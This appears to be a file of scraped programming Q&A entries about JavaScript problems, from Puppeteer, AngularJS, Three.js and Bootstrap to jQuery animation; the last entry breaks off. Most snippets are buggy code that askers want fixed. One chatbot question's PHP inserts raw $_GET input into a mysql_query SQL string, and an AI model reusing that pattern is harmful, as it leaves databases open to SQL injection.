examples would be lovely to have , thanks in advance ! -- ppapi-in-process || -- disable-extensions-except= $ { pluginPath } /.. || -- allow-outdated-plugins || -- no-user-gesture-required // within async functionconst browser = await puppeteer.launch ( { headless : false , executablePath : '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome ' , args : [ ' -- window-size=800,600 ' , ' -- enable-webgl ' , ' -- enable-accelerated-2d-canvas ' , ` -- user-data-dir= $ { path.join ( process.cwd ( ) , 'chrome-user-data ' ) } ` // ' -- always-authorize-plugins ' , - > does not seem to be doing anything in our case // ' -- enable-webgl-draft-extensions ' , - > does not seem to be doing anything in our case // ' -- enable-accelerated-vpx-decode ' , - > does not seem to be doing anything in our case // ' -- no-user-gesture-required ' , - > does not seem to be doing anything in our case // ' -- ppapi-in-process ' , - > does not seem to be doing anything in our case // ' -- ppapi-startup-dialog ' , - > does not seem to be doing anything in our case // ` -- disable-extensions-except= $ { pluginPath } /.. ` , - > does not solve issue with blocked // ' -- allow-outdated-plugins ' , - > does not seem to be doing anything in our case ] , } ) ; const context = await browser.defaultBrowserContext ( ) ; const page = await context.newPage ( ) ; const url = new URL ( 'http : //ultrasounds.com ' ) ; const response = await fetch ( url.href ) ; await page.setViewport ( { width : 800 , height : 600 } ) ; await page.goto ( url.href , { waitUntil : 'networkidle2 ' } ) ; await page.waitFor ( 10000 ) ; const screenshot = await page.screenshot ( { encoding : 'binary ' , } ) ;",Allowing to run Flash on all sites in Puppeteer "JS : I am experimenting few best practices in AngularJS specially on designing model . One true power in my opinion in AngularJS is 'When model changes view gets updated & vice versa ' . That leads to the obvious fact 'At any given time the model is the single source of truth for application state'Now , After reading various blog posts on designing the right model structure and I decided to use something like 'Single Object ' approach . Meaning the whole app state is maintained in a single JavaScript object.For example of a to-do application } ; This object will go HUGE depending on the application complexity . Regarding this I have the below worries and marked them as questions . Is such approach advisable ? What are the downsides and pitfalls I will face when application starts to scale ? When small portion of object is updated say priority is increased will angular smartly re-render the delta alone or will it consider the object got changed and re-render whole screen ? ( This will lead to poor performance ) , If so what are the works around ? Now since the whole DOM got smoothly translated into one JavaScript object the application has to keep manipulating this object . Do we have right tools for complex JavaScript object manipulation like jQuery was king of DOM manipulator ? With the above doubts I strongly find the below advantages.Data has got neatly abstracted & well organized so that anytime itcan be serialized to server , firebase or local export to user . Implementing crash recovery will be easy , Think this feature as 'Hibernate ' option in desktops.Model & View totally decoupled . For example , company A can write Model to maintain state and few obvious Controllers to change themodel and some basic view to interact with users . Now this company Acan invite other developer to openly write their own views andrequesting the company A for more controllers and REST methods . Thiswill empower LEAN development . What if I start versioning this object to server and I can make a playback to the user in the SAME way he saw the website and can continue to work without hassle . This will work as a true back button for single page apps . $ scope.appState = { name : `` toDoApp '' , auth : { userName : `` John Doe '' , email : `` john @ doe.com '' , token : `` DFRED % $ % ErDEFedfereRWE2324deE $ % ^ $ % # 423 '' , } , toDoLists : [ { name : `` Personal List '' , items : [ { id : 1 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 0 } , { id : 2 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 1 } , { id : 3 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 0 } ] } , { name : `` Work List '' , items : [ { id : 1 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : -1 } , { id : 2 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 0 } , { id : 3 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 0 } ] } , { name : `` Family List '' , items : [ { id : 1 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 2 } , { id : 2 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 0 } , { id : 3 , task : `` Do something `` , dueDate : `` 2013-01-10 11:56:05 '' , status : '' Open '' , priority : 5 } ] } ]",Single Object Model for AngularJS "JS : I 'm trying to use a loaded typeface.js font , as provided by Three.js examples , yet I keep on getting the following error : I 've checked Three.js file , I 'm using the build version from the three.js master branch , for the reasoning for the error and it seems that THREE.ExtrudeGeometry scoped this is missing all the prototype methods declared previously.Altering the code to use THREE.ExtrudeGeometry.addShapeList instead of this.addShapeList failed later on when reaching method THREE.ExtrudeGeometry.prototype.addShape by failing to recognize the vertices array of the scope.I 'm of course doing something wrong in creating the TextGeometry yet I 'm unable to figure what.This is the code I use to load the font , creating the TextGeometry object and adding it to the scene.Here is a fiddle to showcase my issue . Uncaught TypeError : this.addShapeList is not a function loader.load ( './fonts/gentilis_bold.typeface.js ' , function ( response ) { font = response ; var text = THREE.TextGeometry ( 'Some Text ' , { font : font , size : 70 } ) ; scene.add ( text ) ; } ) ;",Uncaught type error when loading TextGeometry font "JS : I was working with combobox ( input + dropdown ) built around Bootstrap on an accessibility project.I ran into a change that was made to the dropdown.js part of bootstrap between v3.3.0 and v3.3.1 which breaks my code.When focus is the input , the up or down keyboard arrow used to trigger the dropdown menu which is what I want since the goal is to make keyboard-only navigation possible but it does n't work anymore.When I compare : https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.jsandhttps : //maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.jsThe change was from ( 3.3.0 , line 798 ) To ( 3.3.1 , line 799 ) So , I know I can probably work around it with jQuery but is there a real reason for this change ? If not , this can be regarded as a bug report.Below is a Bootply demo of my widget . Works with Bootstrap 3.3.0 and anything below but if you change the bootstrap version popup to anything above 3.3.0 , it does n't respond to arrows key.http : //www.bootply.com/2gHt0MWRWd Dropdown.prototype.keydown = function ( e ) { if ( ! / ( 38|40|27|32 ) /.test ( e.which ) ) return Dropdown.prototype.keydown = function ( e ) { if ( ! / ( 38|40|27|32 ) /.test ( e.which ) || /input|textarea/i.test ( e.target.tagName ) ) return",bootstrap input dropdown keyboard arrow "JS : I found a simple JS script that works as a chatbot . in the script itself the results of lastUserMessage are predefined inline likeWhat I am trying to achieve is if the JS to search for lastUserMessage within a db and to provide botMessage from there.I am sure it should't be that hard , but I cant figure out how to do it.Here is the JS code : Here is the HTML codeWhat need to happen ? Ideally , the script should take the values `` lastUserMessage '' and `` botMessage '' from a db that has 2 columns `` lastUserMessage '' and `` botMessage '' .What I tried to to do is following Ghost 's comment below ... but did n't work.And in DB_query.php I have if ( lastUserMessage === 'name ' ) { botMessage = 'My name is ' + botName ; } nlp = window.nlp_compromise ; var messages = [ ] , //array that hold the record of each string in chat lastUserMessage = `` '' , //keeps track of the most recent input string from the user botMessage = `` '' , //var keeps track of what the chatbot is going to say botName = 'Bot Name ' , //name of the chatbot talking = true ; //when false the speach function does n't work//edit this function to change what the chatbot saysfunction chatbotResponse ( ) { talking = true ; botMessage = `` Ops ... did n't get this '' ; //the default message if ( lastUserMessage === 'name ' ) { botMessage = 'My name is ' + botName ; } } //this runs each time enter is pressed.//It controls the overall input and outputfunction newEntry ( ) { //if the message from the user is n't empty then run if ( document.getElementById ( `` chatbox '' ) .value ! = `` '' ) { //pulls the value from the chatbox ands sets it to lastUserMessage lastUserMessage = document.getElementById ( `` chatbox '' ) .value ; //sets the chat box to be clear document.getElementById ( `` chatbox '' ) .value = `` '' ; //adds the value of the chatbox to the array messages messages.push ( lastUserMessage ) ; //Speech ( lastUserMessage ) ; //says what the user typed outloud //sets the variable botMessage in response to lastUserMessage chatbotResponse ( ) ; //add the chatbot 's name and message to the array messages messages.push ( `` < b > '' + botName + `` : < /b > `` + botMessage ) ; // says the message using the text to speech function written below Speech ( botMessage ) ; //outputs the last few array elements of messages to html for ( var i = 1 ; i < 8 ; i++ ) { if ( messages [ messages.length - i ] ) document.getElementById ( `` chatlog '' + i ) .innerHTML = messages [ messages.length - i ] ; } } } //runs the keypress ( ) function when a key is presseddocument.onkeypress = keyPress ; //if the key pressed is 'enter ' runs the function newEntry ( ) function keyPress ( e ) { var x = e || window.event ; var key = ( x.keyCode || x.which ) ; if ( key == 13 || key == 3 ) { //runs this function when enter is pressed newEntry ( ) ; } if ( key == 38 ) { console.log ( 'hi ' ) //document.getElementById ( `` chatbox '' ) .value = lastUserMessage ; } } //clears the placeholder text ion the chatbox//this function is set to run when the users brings focus to the chatbox , by clicking on itfunction placeHolder ( ) { document.getElementById ( `` chatbox '' ) .placeholder = `` '' ; } < div id='bodybox ' > < div id='chatborder ' > < p id= '' chatlog2 '' class= '' chatlog '' > & nbsp ; < /p > < p id= '' chatlog1 '' class= '' chatlog '' > & nbsp ; < /p > < input type= '' text '' name= '' chat '' id= '' chatbox '' placeholder= '' Hi there ! Type here to talk to me . '' onfocus= '' placeHolder ( ) '' > < /div > nlp = window.nlp_compromise ; var messages = [ ] , //array that hold the record of each string in chat lastUserMessage = `` '' , //keeps track of the most recent input string from the user botMessage = `` '' , //var keeps track of what the chatbot is going to say botName = 'Bot Name ' , //name of the chatbot talking = true ; //when false the speach function does n't work//edit this function to change what the chatbot saysfunction chatbotResponse ( ) { talking = true ; botMessage = `` Ops ... did n't get this '' ; //the default message $ .ajax ( { url : 'db_query.php ' , data : `` lastUserMessag=lastUserMessag '' , dataType : 'json ' , success : function ( data ) { var lastUserMessage_db = data [ 0 ] ; var botMessage_db= data [ 1 ] ; if ( lastUserMessage === lastUserMessage_db ) { botMessage = botMessage_db ; } } } ) ; } //this runs each time enter is pressed.//It controls the overall input and outputfunction newEntry ( ) { //if the message from the user is n't empty then run if ( document.getElementById ( `` chatbox '' ) .value ! = `` '' ) { //pulls the value from the chatbox ands sets it to lastUserMessage lastUserMessage = document.getElementById ( `` chatbox '' ) .value ; //sets the chat box to be clear document.getElementById ( `` chatbox '' ) .value = `` '' ; //adds the value of the chatbox to the array messages messages.push ( lastUserMessage ) ; //Speech ( lastUserMessage ) ; //says what the user typed outloud //sets the variable botMessage in response to lastUserMessage chatbotResponse ( ) ; //add the chatbot 's name and message to the array messages messages.push ( `` < b > '' + botName + `` : < /b > `` + botMessage ) ; // says the message using the text to speech function written below Speech ( botMessage ) ; //outputs the last few array elements of messages to html for ( var i = 1 ; i < 8 ; i++ ) { if ( messages [ messages.length - i ] ) document.getElementById ( `` chatlog '' + i ) .innerHTML = messages [ messages.length - i ] ; } } } //runs the keypress ( ) function when a key is presseddocument.onkeypress = keyPress ; //if the key pressed is 'enter ' runs the function newEntry ( ) function keyPress ( e ) { var x = e || window.event ; var key = ( x.keyCode || x.which ) ; if ( key == 13 || key == 3 ) { //runs this function when enter is pressed newEntry ( ) ; } if ( key == 38 ) { console.log ( 'hi ' ) //document.getElementById ( `` chatbox '' ) .value = lastUserMessage ; } } //clears the placeholder text ion the chatbox//this function is set to run when the users brings focus to the chatbox , by clicking on itfunction placeHolder ( ) { document.getElementById ( `` chatbox '' ) .placeholder = `` '' ; } $ p = $ _GET [ 'lastUserMessag ' ] ; $ query=mysql_query ( `` SELECT lastUserMessag , botMessage FROM ` aiml ` WHERE lastUserMessag= ' $ p ' '' ) ; $ array = mysql_fetch_row ( $ query ) ; echo json_encode ( $ array ) ;",MySQL select result inside JS function "JS : The below post led me to evaluate using jasonpatch for json to json transformation : JSON to JSON transformerThe project can be found here : https : //github.com/bruth/jsonpatch-jsI am currently trying to change the name of all elements in an array and am not seeing how this is possible . My current attempt is : This swaps out the first element but how do I do a `` * '' card type operation ? Something like : I could see possibly calling the transformation N times for each element but that seems like a hack . var transformations = [ { op : 'move ' , from : '/hits/1/_id ' , path : '/hits/1/pizza ' } ] ; var transformations = [ { op : 'move ' , from : '/hits/*/_id ' , path : '/hits/*/pizza ' } ] ;",jsonpatch all elements in array "JS : again I have a problem with files in nanoc . This time I wanted to attach custom file slide.js to my blog but I can not ( do n't know why - probably something is wrong with my routes ) . Here 's my routes : And in the head section of my layout I 've put : % script { : type = > `` text/javascript '' , : src = > `` /js/slide.js '' } / ( yes , it 's a HAML ) .Can anyone help me to solve this problem ? It would be very appreciated . compile '/js/*/ ' do # don ’ t filter or layoutend ... route '/js/*/ ' do /'js'/ + item.identifier.chop + '.js'end",How add own javascript file to nanoc ? "JS : I am developing an application using angularJs and nodejs . Am struck at setting the name of the controller to the value of a variable from main controller . To explain it better , my index.html looks like this : And my main Controller looks like this where the groups are defined as this : Now when i click the button , I should be direcrted to a particular controller and this controller name needs to be set dynamically to member.taskName . Can someone please help me with this ? < tbody ng-repeat= '' group in groups '' > < tr ng-repeat= '' member in group.members '' > < td rowspan= '' { { group.members.length } } '' ng-hide= '' $ index > =0 '' > < /td > < td > { { member.taskName } } < /td > < td > < div class= { { group.colorMe [ 0 ] } } > { { member.env } } < /div > < button class= '' btn btn-info '' ng-controller= '' member.taskName '' ng-click= '' test ( member.taskName , 'env ' , group.colorMe [ 0 ] ) '' > Sanity < /button > < /td > var tasks = [ 'task1 ' , 'task2 ' , 'task3 ' , 'task4 ' , 'task5 ' ] ; for ( i=0 ; i < tasks.length ; i++ ) { var group = { `` id '' : i+1 , `` members '' : [ { `` taskName '' : tasks [ i ] .toUpperCase ( ) , `` env1 '' : versionMap [ `` env1 '' +tasks [ i ] ] , `` env2 '' : versionMap [ `` env2 '' +tasks [ i ] ] , `` env3 '' : versionMap [ `` env3 '' +tasks [ i ] ] } ] } ; $ scope.groups.push ( group ) ; }",Setting ng-controller dynamically from a variable value "JS : I have encountered following issue when creating simple task : displaying html clock by using WebKit engine . Additional requirement were to handle system time change and that it should work on Windows.I have used setInterval to achive this but it seems to freeze browser after I change system time backward.For me it looks like WebKit issue . It is easy to reproduce on safari by running this simple code : After that I have made another approach with recursive setTimeout call . Same effect.Any ideas why is that happening and how to go around this ? < p id= '' date '' > < /p > setInterval ( SetTime , 1000 ) ; function SetTime ( ) { document.getElementById ( 'date ' ) .textContent=new Date ( ) ; } ( function loop ( ) { document.getElementById ( 'date ' ) .textContent=new Date ( ) ; setTimeout ( loop , 1000 ) ; } ) ( ) ;",WebKit setInterval and system time change JS : I am using jwplayer to play videos on my site . I want to implement this scenario : A small thumb nail image represent the video.when a user click on the thumb image the jwplayer div shows and starts to play and the thumb image will hide .An external close button will allow to close the video . Then the thumb image will show again.I am trying to accomplish it by using js.The following is used to play the video : and this is used to stop the jwplayer : The functions are working in chrome . But in firefox when I try to play the video in second time the jwplayer is in BUFFERING state . Also revert back to the placeholder image.also shows an error sometime in console Error : Permission denied to access property 'toString'This is a sample jsfiddle demo http : //jsfiddle.net/35bGW/Please help me to find a solution for this.Thanks jwplayer ( 'container ' ) .play ( ) ; jwplayer ( 'container ' ) .stop ( ) ;,JWPlayer : issue in stop and play using javascript "JS : I 'm trying to auth a Last.fm session and am struggling to sign a request for a session key correctly . I keep receiving Invalid method signature supplied However when I md5 hash what i believe the query should consist of outside of JS , I get the same signature . I must be including the wrong data in the string I guess , but ca n't figure out what . I know there are a few other questions and i 've ran through them all to see what 's going wrong here , but I swear it looks right to me . This is the signing algorithm and Ajax call . I 've tried to leave enough sample data too.Anything anyone can see that i 'm missing here ? I 'm absolutely stumped why this is n't returning a correctly signed POSTable object in the format requested here . Thanks for your time . Edit : ca n't thank anyone for their time if i do n't get any advice ! No one had any experience with last.fm ? // Set elsewhere but hacked into this example : var last_fm_data = { 'last_token ' : 'TOKEN876234876 ' , 'user ' : 'bob ' , 'secret ' : 'SECRET348264386 ' } ; // Kick it off.last_fm_call ( 'auth.getSession ' , { 'token ' : last_fm_data [ 'last_token ' ] } ) ; // Low level API call , purely builds a POSTable object and calls it . function last_fm_call ( method , data ) { // param data - dictionary . last_fm_data [ method ] = false ; // Somewhere to put the result after callback . // Append some static variables data [ 'api_key ' ] = `` APIKEY1323454 '' ; data [ 'format ' ] = 'json ' ; data [ 'method ' ] = method ; post_data = last_fm_sign ( data ) ; $ .ajax ( { type : `` post '' , url : last_url , data : post_data , success : function ( res ) { last_fm_data [ method ] = res ; console.log ( res [ 'key ' ] ) // Should return session key . } , dataType : 'json ' } ) ; } function last_fm_sign ( params ) { ss = `` '' ; st = [ ] ; so = { } ; Object.keys ( params ) .forEach ( function ( key ) { st.push ( key ) ; // Get list of object keys } ) ; st.sort ( ) ; // Alphabetise it st.forEach ( function ( std ) { ss = ss + std + params [ std ] ; // build string so [ std ] = params [ std ] ; // return object in exact same order JIC } ) ; // console.log ( ss + last_fm_data [ 'secret ' ] ) ; // api_keyAPIKEY1323454formatjsonmethodauth.getSessiontokenTOKEN876234876SECRET348264386 hashed_sec = unescape ( encodeURIComponent ( $ .md5 ( ss + last_fm_data [ 'secret ' ] ) ) ) ; so [ 'signature ' ] = hashed_sec ; // Correct when calculated elsewhere . return so ; // Returns signed POSTable object }",Authenticating with Last.fm in Jquery - Invalid method signature supplied "JS : I have the following schema : and I 'm looking to create a a text index on metadata.title . I can create a text index successfully on any first level property , but I 'm running into trouble with the nested title.I 've tried the following code , to no avail . Is my syntax wrong ? I 've had no luck with docs ... Searching : const Schema = ( { metadata : { title : String , ... } , ... } ) ; Schema.index ( { 'metadata.title ' : 'text ' } ) ; Schema .find ( { $ text : { $ search : req.params.query } } , { score : { $ meta : `` textScore '' } } )",Mongoose text index on nested schema field "JS : What is the specific difference between these two functions ( one is an accessor property getter ) in a javascript object other than the manner in which they are called ? var o = { foo : function ( ) { return `` bar '' ; } , get foo2 ( ) { return `` bar2 '' ; } }",What is the difference between accessors and normal functions in javascript object ? "JS : I am trying to build a media playlist that can advance the credits , play the video and change the title on thumb-hover , end of video and on next/prev click . So I need to write some functions that can then be called together . So like this : The problem is that $ ( this ) does not carry through to the functions from the .hover . How do I do this ? function showBox ( ) { $ ( this ) .parents ( '.container ' ) .find ( '.box ' ) .show ( ) ; } ; function hideBox ( ) { $ ( this ) .parents ( '.container ' ) .find ( '.box ' ) .hide ( ) ; } ; $ ( ' a ' ) .hover ( function ( ) { showBox ( ) ; } , function ( ) { hideBox ( ) ; } ) ;",Pass $ ( this ) to a function "JS : Working with breeze backed by SharePoint , as described here , and using TypeScript rather than JS.In a DataService class I create an EntityManager and execute a Query : I then call this from my view model , which works fine : But my attempt to extend each item fails , because the item 's entityAspect is null : Upon inspecting the result item , I can see it 's just the plain data object , with all the properties I would expect but no Entity goodness : I 've just started with breeze , so the best way to put the question is probably : what have I done wrong here ? private servicePath : string = '/api/PATH/ ' ; private manager : breeze.EntityManager ; constructor ( ) { this.init ( ) ; } private init ( ) : void { this.manager = new breeze.EntityManager ( this.servicePath ) ; } public ListResponses ( ) : breeze.Promise { var query = breeze.EntityQuery.from ( `` Responses '' ) ; return this.manager.executeQuery ( query ) ; } private loadResponses ( ) : void { this.dataservice.ListResponses ( ) .then ( ( data ) = > { this.handleResponsesLoaded ( data ) ; } ) .fail ( ( error ) = > { this.handleDataError ( error ) ; } ) ; } private handleResponsesLoaded ( data : any ) : void { for ( var i = 0 ; i < results.length ; i++ ) { this.extendItem ( results [ i ] ) ; } this.renderList ( results , `` # tp-responses-list '' ) ; } private extendItem ( item : any ) : void { item.entityAspect.propertyChanged.subscribe ( ( ) = > { // FAILS HERE setTimeout ( ( ) = > { if ( item.entityAspect.entityState.isModified ( ) ) { this.dataservice.SaveChanges ( ) .then ( ( result ) = > { tracer.Trace ( `` SaveChanged Result : `` + result ) ; } ) .fail ( ( error ) = > { this.handleDataError ( error ) ; } ) ; } } , 0 ) ; } ) ; }",Why would the entityAspect of my query items be null ? "JS : I need a way of playing hls m3u8 playlists that are created in the clients webbrowser and not using and external file.I am currently generating a string and creating a file that is later linked using Object URLs.This URL is then used as the source in the video element.This system works fine in all iOS 10 version and on OSX , but as soon as I run it on a device running any iOS 11 version I get an error code 4 `` MEDIA_ERR_SRC_NOT_SUPPORTED '' from the video element.I 'm not able to find any path notes saying anything that may indicate a change to why this does not work in iOS 11.Is there any other way to solve this problem that works in bith iOS 10 and 11 ? Any help or insight into this problem would be appriciated.Edit : I created a jsfiddle to help understand the problem.https : //jsfiddle.net/x2oa8nh2/8/The upper video works on iOS 10 and 11 ( And OSX Safari ) . The bottom one does not work on iOS 11 . const playlistFile = new File ( [ playlistString ] , playlistName , { type : 'application/x-mpegURL ' } ) ; const playlistURL = URL.createObjectURL ( playlistFile ) ; < video playsinline= '' '' controls= '' '' src= '' blob : http : //localhost:8080/b9a0b81f-d469-4004-9f6b-a577325e2cf3 '' > < /video >",iOS 11 ObjectURL support for html5 video JS : This piece of javascript code is created to remove all inputs that are within a divI does remove only half of elements a call and I have to call it several times in order to remove all inputs.Please check this Jsfiddle to see it in action . function remove_inputs ( ) { var elements=document.getElementById ( 'thediv ' ) .getElementsByTagName ( 'input ' ) ; for ( var i=0 ; i < elements.length ; i++ ) { elements [ i ] .parentNode.removeChild ( elements [ i ] ) ; } },Javascript not removing all elements within a div "JS : I have a large Raphael canvas with hundreds of SVGs drawn on it , and am using the `` raphael pan and zoom '' plugin to zoom in and out . Because of this , I initially draw my svgs very small , and the user just zooms in/out.The problem I am having is 2px text size is too large , and 1px text size is too small , however when I try `` 1.5px '' , it just gets displayed as 1px text size again.I am having trouble changing the font size to be 1.5px , or any half size of one ( 1.2 , 1.6 , 1.9 ... ) Here is my code : When I put any number from `` 1px '' to `` 1.9px '' , it is rendered as size `` 1px '' . When I put `` 2px '' it is rendered as size `` 2px '' .The CSS for 'myFont ' is : I 've tried setting 'line-height ' to ' 0.5 ' , with no luck . Any ideas ? Thanks ! ... this.paper.text ( x , y , string ) .attr ( { 'font-family ' : 'myFont ' , 'font-size ' : ' 1.5px ' } ) ; ... @ font-face { font-family : 'myFont ' ; src : url ( 'fonts/myFont.eot ' ) ; src : url ( 'fonts/myFont.eot ? # iefix ' ) format ( 'embedded-opentype ' ) , url ( 'fonts/myFont.woff ' ) format ( 'woff ' ) , url ( 'fonts/myFont.ttf ' ) format ( 'truetype ' ) , url ( 'fonts/myFont.svg # myFont ' ) format ( 'svg ' ) ; font-weight : normal ; font-style : normal ; } [ data-icon ] : before { font-family : 'myFont ' ; content : attr ( data-icon ) ; speak : none ; font-weight : normal ; font-variant : normal ; text-transform : none ; /* line-height : 1 ; */ -webkit-font-smoothing : antialiased ; -moz-osx-font-smoothing : grayscale ; } .icon-home , .icon-zoom-in { font-family : 'myFont ' ; speak : none ; font-style : normal ; font-weight : normal ; font-variant : normal ; text-transform : none ; /* line-height : 1 ; */ -webkit-font-smoothing : antialiased ; pointer-events : none ; } .icon-home : before { content : `` \e000 '' ; } .icon-zoom-in : before { content : `` \e001 '' ; } /* Note : Generated from ico-moon , it 's just a font that is a bunch of icons . */","1.9px text size shown as 1px - Raphael SVG , CSS , Javascript" "JS : I 've got a custom draggable element ( the drag starts on click and ends on click ) , which could be dropped on some areas . On mouseover area decides whether it accepts current draggable or not , and changes its color respectively . Everything worked like a charm until client decides that draggable element should be positioned above and to the left of cursor , and that 's where the story starts.When I moved it , I realized that mouseover event now goes to the draggable , not the area . I did some search and found magic CSS property . Which unfortunately does n't work in IE9 , and it is our target browser.Here 's a simple example of what it looks like : http : //jsfiddle.net/q9njK/5/ The question is : can I get it working in IE9 in a simpler way than directly watching mousemove and calculating which area is pointer over now ? Edit_1 : by `` directly watching mousemove '' I mean solutions like this : http : //jsbin.com/uhuto It would be slow and ugly in the mousemove case . Well , I know , `` slow and ugly '' is the motto of IE , but if somewhere there exists a bit more elegant solution , I 'd like to know it.Edit_2 : seems like IE9 does n't support pointer-events : none even for SVG ( here 's an example , does n't work in IE9 : http : //jsfiddle.net/q9njK/9/ ) , so there 's no other way but binding to document.mousemove . Or is it ? pointer-events : none",pass mouseover event through dragging element "JS : I am trying to scroll to the bottom of a div # chat-feed with overflow set to auto and stay there unless a user scrolls that div 's content up . If they scroll back down , the div should lock to the bottom and new content will be displayed at the bottom.Known issues : I have tried implementing this answer with my code but I do not know Javascript well enough yet to get it working . If content from chat-feed.php is taller than the container then the scroll stays at the top . It also seems like the answer given does not respect content loaded from an external file.Key things : new content should show at the bottom and the div should scroll to the bottom when new content loads UNLESS the users has already scrolled up a bit . If the user scrolls back down , then it should lock to the bottom and new content be displayed at the bottom and be visible.Demo link < div id= '' chat-feed '' style= '' height : 200px ; width : 300px ; overflow : auto ; '' > < /div > < script > $ ( document ) .ready ( function ( ) { setInterval ( function ( ) { $ ( ' # chat-feed ' ) .load ( `` chat-feed.php '' ) .fadeIn ( `` slow '' ) ; } , 1000 ) ; } ) ; < /script >",JQuery - Scroll and anchor to bottom of ajax-driven div unless user scrolls up "JS : This is not a duplicate of below questions which is dealing with browser specific questions . I 'm expecting an answer whether import / export will work in Client side or not.ECMA 6 Not working although experimental js is enabled how export variable in ES6 in Chrome/Firefox ? Error that I 'm getting in Chrome : Tested Browser : Google Chrome Version 47.0.2526.106Is that possible to make the code working in any browser or not ? Lets say , we have chosen one transpiler ( BabelJS ) and code got transpiled . Will the import / export file code snippet will work in the Client side or Server side ( In node Server as require method ) ? //lib.jsexport const sqrt = Math.sqrt ; export function square ( x ) { return x * x ; } export function diag ( x , y ) { return sqrt ( square ( x ) + square ( y ) ) ; } //main.js `` use strict '' ; import { square , diag } from 'lib ' ; console.log ( square ( 11 ) ) ; // 121console.log ( diag ( 4 , 3 ) ) ; // 5 < ! doctype html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' > < title > Import Check < /title > < /head > < body > < script type= '' text/javascript '' src= '' main.js '' > < /script > < /body > < /html >",import / export in ES6 Transpilers "JS : I am using a jquery selectable as shown below.It is working correctly however only left click will cause the select event to fire . I am trying to make it so that right click will as well . I have tried adding the code below and the alert fires but the selected item does not change.How can I programatically change the selected item in the mousedown event function ? editUpdated eventname as per Ian 's suggestion below.I have created a jsfiddle showing what I am trying to achieve and the triggered event not firing on right click . Does anybody know how to make this work ? It would be greatly appreciated http : //jsfiddle.net/Jzjdm/ //Selectable Functionality $ ( document ) .ready ( function ( ) { $ ( `` # Selectable_Positions '' ) .selectable ( { selected : function ( event , ui ) { dostuff ( ) ; } } ) } ) $ ( document ) .ready ( function ( ) { $ ( ' # Selectable_Positions ' ) .mousedown ( function ( ) { $ ( ' # Selectable_Positions ' ) .trigger ( 'selectableselected ' ) ; alert ( 'foo ' ) ; } ) } )",jquery selectable and right click "JS : There 's a list of elements , let 's say some images : I select them and store the result in a variable : Now I want to bring the last image to the first position . It works fine like this : After that the object elements naturally still holds the values in the order they where before . I can update this by querying again after the shift : But it seems inefficient to run another query when I already have all the elements together . Also , as it 's not an array this wo n't work : What 's the best way to update the object list in such a case ? < img src= '' '' alt= '' '' > < img src= '' '' alt= '' '' > < img src= '' '' alt= '' '' > var elements = $ ( 'img ' ) ; elements.first ( ) .before ( elements.last ( ) ) ; elements = $ ( 'img ' ) ; elements.unshift ( elements.pop ( ) ) ;",How to update a jQuery object containing a list of elements after moving an element "JS : I have two Jquery functions here , the first one performs an ajax load depending on users drop down select options , then changes an input field based on value returned . This works fine . Then the second function should listen to changes on the input field specified above , and if the value in the input field is 0 , it should disable all input fields in the form . It seems , the 'jquery on change ' function does n't detect the changes via ajax on the input field . Any help is highly appreciated . //perform a background ajax load and get the allocation available if any $ ( `` # ministry '' ) .change ( function ( ) { var ministry= $ ( `` # ministry '' ) .val ( ) ; var url= '' /VoteBook/ministry.php ? mini= '' +ministry ; $ .get ( url , function ( data , status ) { $ ( `` .alloc '' ) .val ( data ) ; } ) } ) ; //disable all inputs on allocation field change $ ( `` .alloc '' ) .change ( function ( ) { var allocation= $ ( `` .alloc '' ) .val ( ) ; if ( allocation==0 ) { $ ( `` # add_vote_form : input '' ) .attr ( 'disabled ' , true ) ; } } ) ;",Jquery listen to changes on input field after a background ajax load "JS : I have this following jquery text fly-in animation.Here is my code before I explain further : HTMLNow as you can see , Text1-3 animates/flies in first , then when Text3 is reached , they are replaced by Text4-6 in the animation , when Text6 is reached again , it loops back to Text1-3 again ... Now basically what I want to do is pause/delay the animation for longer when it reaches the end of the Text , that is at Text3 ( class= '' flying-text end '' ) and Text6 ( class= '' flying-text end2 '' . So I want Text3 and Text6 to animate longer than all the others . how do I do that ? The code I used : does not work ... Thank You < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( '.flying1 .flying-text ' ) .css ( { opacity:0 } ) ; $ ( '.flying1 .active-text ' ) .animate ( { opacity:1 , marginLeft : `` 0px '' } , 1200 ) ; //animate first text var int = setInterval ( changeText , 3500 ) ; // call changeText function every 5 secondsfunction changeText ( ) { var $ activeText = $ ( `` .flying1 .active-text '' ) ; //get current text var $ nextText = $ activeText.next ( ) ; //get next text if ( $ activeText.is ( '.end ' ) ) { $ activeText.stop ( ) .delay ( 5000 ) ; $ ( '.flying1 ' ) .html ( ' < div class= '' flying-text active-text '' > Text4 < div > < div class= '' flying-text '' > Text5 < /div > < div class= '' flying-text end2 '' > Text6 < /div > ' ) ; $ ( '.flying1 .flying-text ' ) .css ( { opacity:0 } ) ; $ ( '.flying1 .active-text ' ) .animate ( { opacity:1 , marginLeft : `` 0px '' } , 1200 ) ; //animate first text } ; if ( $ activeText.is ( '.end2 ' ) ) { $ activeText.stop ( ) .delay ( 5000 ) ; $ ( '.flying1 ' ) .html ( ' < div class= '' flying-text active-text '' > Text1 < div > < div class= '' flying-text '' > Text2 < /div > < div class= '' flying-text end '' > Text3 < /div > ' ) ; $ ( '.flying1 .flying-text ' ) .css ( { opacity:0 } ) ; $ ( '.flying1 .active-text ' ) .animate ( { opacity:1 , marginLeft : `` 0px '' } , 1200 ) ; //animate first text } ; $ nextText.css ( { opacity : 0 } ) .addClass ( 'active-text ' ) .animate ( { opacity:1 , marginLeft : `` 0px '' } , 1200 , function ( ) { $ activeText.removeClass ( 'active-text ' ) ; } ) ; } } ) ; < /script > < div class= '' flying-text active-text '' > Text1 < div > < div class= '' flying-text '' > Text2 < /div > < div class= '' 